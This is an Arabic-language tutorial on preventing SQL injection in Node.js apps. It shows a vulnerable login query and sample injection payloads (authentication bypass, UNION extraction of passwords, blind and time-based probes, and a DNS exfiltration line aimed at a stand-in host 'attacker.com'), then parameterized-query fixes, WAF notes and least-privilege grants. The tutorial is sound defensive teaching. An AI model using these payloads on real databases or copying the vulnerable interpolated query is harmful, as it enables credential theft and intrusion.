الحماية من SQL Injection

-- استعلام أصلي
SELECT * FROM users WHERE email = 'user@example.com' AND password = 'mypassword';

-- إدخال خبيث: email = ' OR 1=1 -- 
SELECT * FROM users WHERE email = '' OR 1=1 --' AND password = 'anything';

-- النتيجة: 1=1 دائما true → يعيد كل المستخدمين!

// كود JavaScript ضعيف
const query = `SELECT * FROM users WHERE email = '${req.body.email}' AND password = '${req.body.password}'`;
db.query(query, (err, results) => {
  if (results.length > 0) {
    // تسجيل دخول ناجح بدون كلمة مرور صحيحة!
  }
});

-- Error-based: استخراج بيانات عبر رسائل الخطأ
' AND 1=CONVERT(int, (SELECT @@version)) --

-- Union-based: دمج استعلام مع استعلام آخر
' UNION SELECT username, password FROM users --

-- Boolean-based: أسئلة بنعم/لا
' AND (SELECT COUNT(*) FROM users) > 0 -- → يعيد نتائج (نعم)
' AND (SELECT COUNT(*) FROM users) > 100 -- → لا يعيد نتائج (لا)

-- Time-based: استخدام التأخير الزمني
' AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0) --

-- إرسال البيانات إلى خادم المهاجم عبر DNS
' EXEC master..xp_dirtree '\\attacker.com\data' --

const { Pool } = require('pg');
const pool = new Pool();

// ✅ آمن - parameterized query
app.post('/login', async (req, res) => {
  const { email, password } = req.body;

  const result = await pool.query(
    'SELECT * FROM users WHERE email = $1 AND password = $2',
    [email, password] // المعاملات منفصلة عن الاستعلام
  );

  if (result.rows.length > 0) {
    res.json({ success: true });
  } else {
    res.status(401).json({ error: 'بيانات غير صحيحة' });
  }
});

const mysql = require('mysql2/promise');

// ✅ آمن - placeholders
const [rows] = await connection.execute(
  'SELECT * FROM products WHERE category = ? AND price < ?',
  [req.query.category, req.query.maxPrice]
);

const db = require('better-sqlite3')('app.db');

// ✅ آمن
const user = db.prepare('SELECT * FROM users WHERE id = ?').get(userId);

// Prisma - آمن تلقائيا
const user = await prisma.user.findUnique({
  where: { email: req.body.email }
});

// لكن احذر من raw queries
const users = await prisma.$queryRawUnsafe(
  `SELECT * FROM users WHERE email = '${req.body.email}'` // ثغرة!
);

// استخدم tagged templates بدلا من ذلك
const users = await prisma.$queryRaw`
  SELECT * FROM users WHERE email = ${req.body.email}
`;

Web Application Firewall (WAF):
  يمنع أنماط الهجوم المعروفة قبل وصولها للتطبيق.

مثال مع Cloudflare WAF:
  - قواعد مدمجة لمنع SQL Injection
  - تحليل سلوكي للطلبات
  - تحديثات تلقائية لأنماط الهجوم الجديدة

Least Privilege لقاعدة البيانات:
  - مستخدم التطبيق: صلاحيات SELECT/INSERT/UPDATE فقط
  - لا تستخدم root أو admin
  - افصل بين قواعد البيانات إن أمكن

// إعداد صلاحيات قاعدة البيانات
-- إنشاء مستخدم بصلاحيات محدودة
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'app_user'@'localhost';
-- لا تعطه DELETE أو DROP أو CREATE